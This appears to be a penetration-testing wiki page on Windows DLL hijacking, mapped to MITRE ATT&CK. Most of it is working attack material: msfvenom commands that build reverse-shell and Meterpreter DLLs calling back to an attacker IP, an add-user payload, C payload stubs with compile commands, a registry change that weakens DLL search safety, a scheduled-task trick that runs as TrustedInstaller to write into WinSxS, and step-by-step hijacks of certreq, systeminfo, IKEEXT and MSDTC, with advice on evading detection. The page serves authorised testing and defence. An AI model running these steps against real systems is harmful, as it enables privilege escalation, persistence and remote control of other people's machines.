Dynamic link library (DLL) Hijacking involves manipulating a trusted application into loading a malicious DLL. It is used for defense evasion, persistence and privilege escalation.

Tools: PowerUp (Find-ProcessDLLHijack, Find-PathDLLHijack, Write-HijackDll), Sysinternals, Msfvenom, WinPEAS, Mingw-w64

Vulnerability description for reporting available in VulnDB (GitHub)
Table of Contents
- MITRE ATT&CK Mapping
- Controls
- Generate a DLL file
- DLL Replacement Attacks
- Search Order and Path Manipulation Attacks
- DLL Side-Loading Attacks
- Reference
MITRE ATT&CK Mapping
MITRE ATT&CK changed the DLL Hijacking techniques in v17. T1574.001 was renamed and T1574.002 was removed. From v16:
- T1574.001 Hijack Execution Flow: DLL Search Order Hijacking
- T1574.002 Hijack Execution Flow: DLL Side-Loading
Mapping v17:
- T1574.001 Hijack Execution Flow: DLL
- DLL Replacement Attacks: DLL Replacement/Substitution, WinSxS DLL Replacement
- Search Order and Path Manipulation Attacks: DLL Search Order, Phantom DLL Hijacking, DLL Redirection, Relative Path DLL Hijacking
- DLL Side-loading Attacks: DLL Side-loading
- T1055.001 Process Injection: Dynamic-link Library Injection
- DLL injection – method for executing arbitrary code in the address space of a separate live process
Controls
Safe DLL Search Mode
Safe DLL search mode (enabled by default) moves the user’s current folder later in the search order. To disable safe DLL search mode, create the registry value, and set it to 0:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
Check if Safe DLL Search Mode is enabled

SafeDllSearchMode does not show using “reg query”, even with cmd as Administrator.
Open regedit and look for:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
Disable it. YOU NEED TO RESTART.
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 0 /f
KnownDLLs
If the DLL is listed in this registry key, DLL hijacking will not work. List Known DLLs:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
advapi32.dll MSCTF.dll SHELL32.dll
clbcatq.dll MSVCRT.dll SHLWAPI.dll
combase.dll NORMALIZ.dll user32.dll
COMDLG32.dll NSI.dll WLDAP32.dll
coml2.dll ole32.dll wow64cpu.dll
difxapi.dll OLEAUT32.dll wow64.dll
gdi32.dll PSAPI.DLL wow64win.dll
gdiplus.dll rpcrt4.dll wowarmhw.dll
IMAGEHLP.dll sechost.dll WS2_32.dll
IMM32.dll Setupapi.dll xtajit.dll
kernel32.dll SHCORE.dll
Generate a DLL file
Msfvenom
Generate a DLL using Metasploit’s Msfvenom.

Some payloads do NOT work for DLLs.
msfvenom -l payloads
msfvenom -p <YOUR-PAYLOAD> --format dll --platform windows > myprecious.dll
EXITFUNC: ”, seh, thread, process, none
Common DLL-Compatible Payloads:
Common DLL-Compatible Payloads | Description |
---|---|
windows/exec | Run custom command |
windows/x64/exec | x64 version |
windows/meterpreter/reverse_tcp | Staged Meterpreter |
windows/meterpreter/reverse_https | Encrypted staged shell |
windows/meterpreter_reverse_tcp | Stageless Meterpreter |
windows/shell/reverse_tcp | Simple revshell, WORKS! |
Reverse shell
msfvenom -p windows/shell/reverse_tcp LHOST=${KALI_IP} LPORT=4444 -f dll -o reverse.dll
msfvenom -p windows/x64/shell/reverse_tcp LHOST=${KALI_IP} LPORT=4444 -f dll -o reverse.dll
msfvenom -p windows/meterpreter/reverse_https LHOST=${KALI_IP} LPORT=4444 EXITFUNC=process -f dll -o reverse-https.dll
Message Box
msfvenom -p windows/x64/messagebox ICON=INFORMATION TEXT="It works!" TITLE="Message" EXITFUNC=process --format dll --platform windows > messagebox.dll
Execute a command
msfvenom -p windows/x64/exec CMD="msg %username% It works!" EXITFUNC=process --format dll --platform windows > cmd.dll
msfvenom -p windows/exec CMD="C:\Windows\System32\calc.exe" -f dll -o calc.dll
Add a user
msfvenom -p windows/adduser USER=myprecious PASS=MyPrecious666! -f dll -o adduser.dll
Manually
See Windows DLL Hijacking (GitHub).
List functions to export from a legitimate DLL
A lot of executables will not load DLLs if procedures or entry points are missing. Export function names from the DLL file and ensure the compiled DLL follows the same format to maximise chances of being loaded successfully.

Adjust the function signatures using the documentation Programming reference for the Win32 API (Microsoft). Search for the function name and look at the appropriate header file, e.g. “winver.h”.
On Kali Linux, transfer the legitimate DLL file and execute export-dll-functions-stubs.py (Lisandre.com on GitHub). This generates the stub functions.
python3 export-dll-functions-stubs.py <filename>.dll > <filename>-stubs.txt
python3 export-dll-functions-stubs.py version.dll > version-stubs.txt
cat reverse.c version-stubs.txt > version.c
On Windows, use DLL Export Viewer (NirSoft) to enumerate all external function names and ordinals of the legitimate DLL.
Payloads

See PoC from Lisandre.com on GitHub.
messagebox.cpp
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) {
MessageBox(NULL, TEXT("DLL Hijacking"), TEXT("It works!"), 0);
return 0;
}
messagebox.cpp – writes to command prompt instead of a window
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
printf("DLL Hijacking: It works!\n");
}
return TRUE;
}
messagebox_test.c
#include <windows.h>
#include <stdio.h>
int main() {
HMODULE h = LoadLibraryA("messagebox.dll");
if (!h) {
printf("LoadLibrary failed: %lu\n", GetLastError());
} else {
printf("DLL loaded!\n");
}
return 0;
}
Compile the files. See Mingw-w64.
32-bit:

For binaries from C:\Windows\System32, compile in 32-bit.
i686-w64-mingw32-g++ -c messagebox.cpp
i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ -shared -o messagebox.dll messagebox.o
i686-w64-mingw32-gcc messagebox_test.c -o messagebox_test.exe
64-bit:
x86_64-w64-mingw32-g++ -c messagebox.cpp
x86_64-w64-mingw32-g++ -static-libgcc -static-libstdc++ -shared -o messagebox.dll messagebox.o
x86_64-w64-mingw32-gcc messagebox_test.c -o messagebox_test.exe
x86_64-w64-mingw32-gcc -shared -o version.dll version-reverse.c -lws2_32 -fPIC
x86_64-w64-mingw32-gcc -shared -o version.dll reverse.c version.def -lws2_32 -fPIC
Find vulnerable applications
List running processes
wmic process > processes.txt
tasklist /FO CSV > tasks.txt
DLL Replacement Attacks
Attacker places or replaces a DLL to be loaded in place of a legitimate one.

Requires write access to system or application directories.
DLL Replacement / Substitution
Overwrite or replace the legitimate existing DLL with the generated DLL. Optionally, use a DLL Proxying to preserve the original DLL’s functionality.
Find DLLs loaded by a process:
- Run Sysinternals Procmon/Procmon64.
- Click on the filter icon (or menu Filter->Filter).
- Add filters for:
- “Path” + “ends with” + “.dll”
- “Process Name” + “is” + “<process name>”
For all DLLs loaded by the process, find if you have write access on the path using icacls (Microsoft). (F=Full,M=Modify,W=Write)
icacls C:\<DLL path>
WinSxS DLL Replacement
During the installation of Windows components, updates, or software applications, files are systematically stored in the Windows Side-by-Side (WinSxS) directory. This directory acts as a centralized repository for system files (like DLLs) which are shared among various applications and components.
Replace or spoof DLLs in the Windows Side-by-Side (WinSxS) store to affect applications using side-by-side assemblies.
Replace the legitimate existing DLL with the generated DLL in the C:\Windows\WinSxS directory. Often done with DLL side-loading.
Write DLL in WinSxS
Administrators cannot write to WinSxS. Only TrustedInstaller has full control over the WinSxS folder.
Create a task that will run as TrustedInstaller. Open cmd as Administrator.
powershell
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/C copy /Y C:\Users\Public\myprecious.dll C:\Windows\WinSxS\myprecious.dll"
Register-ScheduledTask -TaskName 'myprecious' -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$svc.GetFolder('\').GetTask('myprecious').RunEx($null, 0, 0, 'NT SERVICE\TrustedInstaller')
Unregister-ScheduledTask -TaskName 'myprecious' -Confirm:$false
# Cleanup, delete the DLL file
powershell
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/C del C:\Windows\WinSxS\myprecious.dll"
Register-ScheduledTask -TaskName 'myprecious' -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$svc.GetFolder('\').GetTask('myprecious').RunEx($null, 0, 0, 'NT SERVICE\TrustedInstaller')
Unregister-ScheduledTask -TaskName 'myprecious' -Confirm:$false
Combined WinSxS + Search Order Hijacking + Phantom
Phantom DLL:
C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_<VERSION> \mscorsvc.dll
The DLL search will look in the current working directory.
cd C:\Users\%USERNAME%
copy /y <somepath>\myprecious.dll mscorsvc.dll
Run ngentask.exe
C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_<VERSION>\ngentask.exe
C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.0_none_d4039dd5692796db\ngentask.exe
Cleanup
del C:\Users\%USERNAME%\mscorsvc.dll
del C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15805.0_none_d4039dd5692796db\mscorsvc.dll
Search Order and Path Manipulation Attacks
Exploits how Windows resolves DLLs when the application does not explicitly define the full path.
DLL Search Order Hijacking
- Dynamic-link library search order (Microsoft)
Move the generated DLL in a search path ahead of the legitimate existing DLL. Can be used to establish persistence, privilege escalation and/or evading restrictions on file execution.
Search order: directory from which the application is loaded, C:\Windows\System32, C:\Windows\System, C:\Windows, current working directory, system PATH environment variable, user PATH environment variable.
Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.
certreq.exe

Be careful, certreq.exe will be executed after a reboot so the payload will be executed. Can be used for persistence.
Generate a DLL or download version.c (GitHub, Lisandre.com). Compile it.
x86_64-w64-mingw32-gcc -shared -o version.dll version.c
On Windows, copy the DLL file to a path ahead in the search order. Adjust the version number in the destination path if necessary.
copy /Y C:\Downloads\version.dll C:\Users\%USERNAME%\AppData\Local\Microsoft\OneDrive\25.051.00317.003\version.dll
Run certreq.exe
C:\Windows\System32\certreq.exe
Relative Path DLL Hijacking
Relative Path DLL Hijacking is a variation of the Search Order DLL Hijacking technique. The attacker writes (and typically renames) a legitimate executable file – alongside their malicious DLL – to a folder they have permissions to write to. This technique requires a legitimate executable that does not specify an absolute path for DLL files. If an absolute path is not specified, Windows will search for the DLL file following the predefined search order.
Move the generated DLL in a user-controlled directory with the copied application. In the “Bring Your Own LOLbin” variation, the the legitimate application is brought with the generated DLL instead of being copied from the victim’s machine.
It can be any vulnerable executable.

Nearly 300 executables in folder “C:\Windows\System32” are vulnerable to relative path DLL hijacking. See this post (BleepingComputer).
Copy the vulnerable executable to a user-writable directory.
Find which DLLs are loaded by the application from the user-writable directory:
- Run Sysinternals Procmon/Procmon64.
- Click on the filter icon (or menu Filter->Filter).
- Add filters for:
- “Path” + “ends with” + “.dll”
- “Process Name” + “is” + “<process name>”
- Look at the paths and take note of the DLLs loaded from the user-writable directory.
Copy or move the generated DLL to the same user-writable directory as the copied application. Rename it to a legitimate DLL previously found with Procmon.
copy C:\<somepath>\myprecious.dll C:\Users\%USERNAME%\Desktop\<some legitimate dll name>.dll
systeminfo.exe
Generate a DLL or download version.c (GitHub, Lisandre.com). Compile it.
x86_64-w64-mingw32-gcc -shared -o version.dll version.c
On Windows, copy the vulnerable application and DLL file to a user-writable path.
copy /Y C:\Windows\System32\systeminfo.exe C:\Users\%USERNAME%\Desktop\systeminfo.exe
copy /Y C:\Downloads\version.dll C:\Users\%USERNAME%\Desktop\version.dll
Run systeminfo.exe
cd C:\Users\%USERNAME%\Desktop
systeminfo.exe
Phantom DLL Hijacking
Move the generated DLL in place of a missing/non-existing DLL that a legitimate application tries to load.
Find missing DLLs:
- Run Sysinternals Procmon/Procmon64.
- Click on the filter icon (or menu Filter->Filter).
- Add filters for:
- “Result” + “is” + “NAME NOT FOUND”
- “Path” + “ends with” + “.dll”
- Optional: “Process Name” + “is” + “<process name>”
- It is a phantom DLL is the result is “NAME NOT FOUND” and there is no result “SUCCESS” in other paths.
A privilege escalation is possible if any of those DLLs or the DLL search path is modifiable by non admin users.
copy C:\<generated DLL path> C:\<missing DLL path>
Application | DLL |
---|---|
mspaint.exe | C:\Windows\System32\MFC42LOC.DLL C:\Windows\System32\MFC42LOC.DLL.DLL |
wlbsctrl.dll
File wlbsctrl.dll is a phantom DLL, meaning it normally does not exist.
Generate a DLL or download wlbsctrl.c (GitHub, Lisandre.com). Compile it.
x86_64-w64-mingw32-gcc -shared -o wlbsctrl.dll wlbsctrl.c
Open a cmd prompt as Administrator.
sc query IKEEXT
sc stop IKEEXT
copy C:\<generated DLL path> C:\Windows\System32\wlbsctrl.dll
sc start IKEEXT
# Cleanup
sc stop IKEEXT
del C:\Windows\System32\wlbsctrl.dll
DLL Redirection
Change the search parameters (location) in which the DLL is searched for.
Examples:
- Edit the %PATH% environment variable
- Edit the .exe.manifest/.exe.local files to include the folder containing the generated DLL
MSDTC service
The Windows service MSDTC attempts to load the missing DLL (Phantom DLL) “C:\windows\system32\oci.dll”. Writing a known phantom DLL to System32 could be detected, so use a DLL redirection as a more evasive method. Change the location that Windows checks when loading this DLL by modifying the following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI\OracleOciLib
Default key value is “oci.dll”. Change it to something else, like “ociv2.dll”. Create DLL “C:\Windows\System32\ociv2.dll” and restart the MSDTC service.
DLL Side-Loading Attacks
DLL Side-Loading
Exploits trusted applications that intentionally load DLLs from their own directories.
A legitimate, signed app is designed to load DLLs from its own folder – the attacker places the generated DLL with the expected name.
Rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, the attacker may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
It uses a signed/legit executable.
Reference
- Dll Hijacking (HackTricks)
- DLL Hijacking (PentestLab)
- HijackLibs (HijackLibs, DB with DLL hijacking entries)
- 4 Ways Adversaries Hijack DLLs (CrowdStrike)
- What is DLL Hijacking? The Dangerous Windows Exploit (UpGuard)
- DLL Hijacking (CSbyGB)
- Testing Applications for DLL Preloading Vulnerabilities (NetSPI)
- Exploit Database (ExploitDB)
- The Art of Becoming TrustedInstaller – Task Scheduler Edition (Tiranid’s Lair)